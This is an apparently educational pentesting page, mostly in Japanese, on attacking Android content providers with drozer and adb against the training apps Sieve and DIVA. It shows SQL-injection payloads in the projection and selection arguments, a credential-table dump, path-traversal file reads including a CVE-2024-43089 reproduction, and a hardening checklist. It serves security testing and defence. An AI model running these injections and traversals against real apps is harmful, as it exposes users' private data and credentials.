235 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Exploiting Content Providers
{{#include ../../../banners/hacktricks-training.md}}
## Intro
データは**あるアプリケーションから他のアプリケーションに**要求に応じて、**コンテンツプロバイダー**として知られるコンポーネントによって供給されます。これらの要求は**ContentResolverクラス**のメソッドを通じて管理されます。コンテンツプロバイダーは、**データベース**、**ファイル**、または**ネットワーク**など、さまざまな場所にデータを保存できます。
_Manifest.xml_ファイルでは、コンテンツプロバイダーの宣言が必要です。例えば:
```xml
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
```
`content://com.mwr.example.sieve.DBContentProvider/Keys`にアクセスするには、`READ_KEYS`権限が必要です。興味深いことに、パス`/Keys/`は以下のセクションでアクセス可能であり、これは開発者のミスにより保護されていません。開発者は`/Keys`を保護しましたが、`/Keys/`を宣言しました。
**おそらく、プライベートデータにアクセスしたり、いくつかの脆弱性SQLインジェクションやパス・トラバーサルを悪用することができます。**
## **公開されたコンテンツプロバイダー**から情報を取得する
```
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
```
**DBContentProvider**に到達する方法を組み立てることは、URIを「_content://_」で始めることで可能です。このアプローチは、Drozerを使用して得られた洞察に基づいており、重要な情報は_/Keys_ディレクトリにありました。
Drozerは**いくつかのURIを推測して試すことができます**:
```
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
```
あなたはまた、**ContentProvider コード**をチェックしてクエリを探すべきです:
![](<../../../images/image (121) (1) (1) (1).png>)
また、完全なクエリが見つからない場合は、`onCreate` メソッドで **ContentProvider によって宣言された名前**をチェックすることができます:
![](<../../../images/image (564).png>)
クエリは次のようになります: `content://name.of.package.class/declared_name`
## **データベースバックの Content Providers**
おそらくほとんどの Content Providers は **データベース**のための **インターフェース**として使用されています。したがって、アクセスできる場合は、情報を **抽出、更新、挿入、削除**できる可能性があります。\
**機密情報にアクセスできるか**確認するか、**認証**メカニズムを **バイパス**するために変更を試みてください。
Content Provider のコードをチェックする際には、_query、insert、update、delete_ のような名前の **関数**も **探してください**
![](<../../../images/image (887).png>)
![](<../../../images/image (254) (1) (1) (1) (1) (1) (1) (1).png>)
これらを呼び出すことができるからです。
### コンテンツのクエリ
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
```
### Insert content
データベースをクエリすることで、**カラムの名前**を学ぶことができ、その後、DBにデータを挿入することができます
![](<../../../images/image (98).png>)
![](<../../../images/image (173).png>)
_挿入と更新では、--stringを使用して文字列を示し、--doubleを使用して倍精度を示し、--float、--integer、--long、--short、--booleanを使用できます_
### Update content
カラムの名前を知ることで、**エントリを修正**することもできます:
![](<../../../images/image (780).png>)
### Delete content
![](<../../../images/image (423).png>)
### **SQL Injection**
**(SQLite)** に対するSQLインジェクションをテストするのは簡単で、**プロジェクション**と**選択フィールド**を操作することで、コンテンツプロバイダーに渡されます。\
コンテンツプロバイダーをクエリする際に、情報を検索するための2つの興味深い引数があります_--selection_ と _--projection_
![](<../../../images/image (784).png>)
この**パラメータ**を**悪用**して**SQLインジェクション**をテストすることができます:
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
```
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
```
**Drozerによる自動SQLインジェクション発見**
```
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence
```
## **ファイルシステムバックのコンテンツプロバイダー**
コンテンツプロバイダーは**ファイルにアクセスするためにも使用できます:**
![](<../../../images/image (407).png>)
### **ファイルを読む**
コンテンツプロバイダーからファイルを読むことができます。
```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
```
### **パス・トラバーサル**
ファイルにアクセスできる場合、パス・トラバーサルを悪用しようとすることができます(この場合、これは必要ありませんが、"_../_"や類似のトリックを使用してみることができます)。
```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
```
**Drozerによる自動パストラバーサル発見**
```
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
```
## 2023-2025 更新と最新のヒント
### Drozer 3.x (Python 3) がリリースされました
WithSecureは2022年にdrozerのメンテナンスを再開し、フレームワークを**Python 3**(最新の**3.1.0 2024年4月**)に移植しました。
互換性の修正に加えて、Content Providersを扱う際に特に便利な新しいモジュールには以下が含まれます
* `scanner.provider.exported` `android:exported="true"`のプロバイダーのみをリストします。
* `app.provider.grant` `grantUriPermission()`を自動的に呼び出し、Android 12+で`FLAG_GRANT_READ_URI_PERMISSION` / `FLAG_GRANT_WRITE_URI_PERMISSION`を期待するプロバイダーと通信できるようにします。
* **Scoped Storage**のより良い処理により、Android 11+のファイルベースのプロバイダーにもアクセスできるようになります。
アップグレード(ホスト&エージェント):
```bash
pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
adb install drozer-agent-3.1.0.apk
```
### 内蔵の `cmd content` ヘルパーを使用する (ADB ≥ 8.0)
すべての最新のAndroidデバイスには、**エージェントをインストールすることなく**プロバイダーをクエリ/更新できるCLIが搭載されています:
```bash
adb shell cmd content query --uri content://com.test.provider/items/
adb shell cmd content update --uri content://com.test.provider/items/1 \
--bind price:d:1337
adb shell cmd content call --uri content://com.test.provider \
--method evilMethod --arg 'foo'
```
`run-as <pkg>` またはルートシェルと組み合わせて、内部専用プロバイダーをテストします。
### コンテンツプロバイダーを悪用した最近の実世界のCVE
| CVE | 年 | コンポーネント | バグクラス | 影響 |
|-----|------|-----------|-----------|--------|
| CVE-2024-43089 | 2024 | MediaProvider | `openFile()` におけるパス横断 | 任意のアプリのプライベートストレージからのファイル読み取り |
| CVE-2023-35670 | 2023 | MediaProvider | パス横断 | 情報漏洩 |
脆弱なビルドでCVE-2024-43089を再現します:
```bash
adb shell cmd content read \
--uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml
```
### API 30+ のハードニングチェックリスト
* プロバイダーが**公開**される必要がない限り、`android:exported="false"`を宣言すること API 31からこの属性は必須です。
* プロバイダー全体をエクスポートする代わりに、**権限**を強制し、または`android:grantUriPermissions="true"`を使用すること。
* 許可された`projection``selection`、および`sortOrder`引数をホワイトリスト化すること(例:`SQLiteQueryBuilder.setProjectionMap`を使用してクエリを構築する)。
* `openFile()`では、要求されたパスを正規化し(`FileUtils`)、トラバーサルを防ぐために`..`シーケンスを拒否すること。
* ファイルを公開する際は、**ストレージアクセスフレームワーク**または`FileProvider`を優先すること。
最近のAndroidバージョンでのこれらの変更により、多くのレガシーなエクスプロイトプリミティブが依然として機能しますが、更新されたdrozerモジュールや`cmd content`ヘルパーが自動的に適用できる追加のフラグ/権限が必要です。
## 参考文献
- [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm)
- [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)
- [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)
- [https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0](https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0)
- [https://source.android.com/security/bulletin/2024-07-01](https://source.android.com/security/bulletin/2024-07-01)
{{#include ../../../banners/hacktricks-training.md}}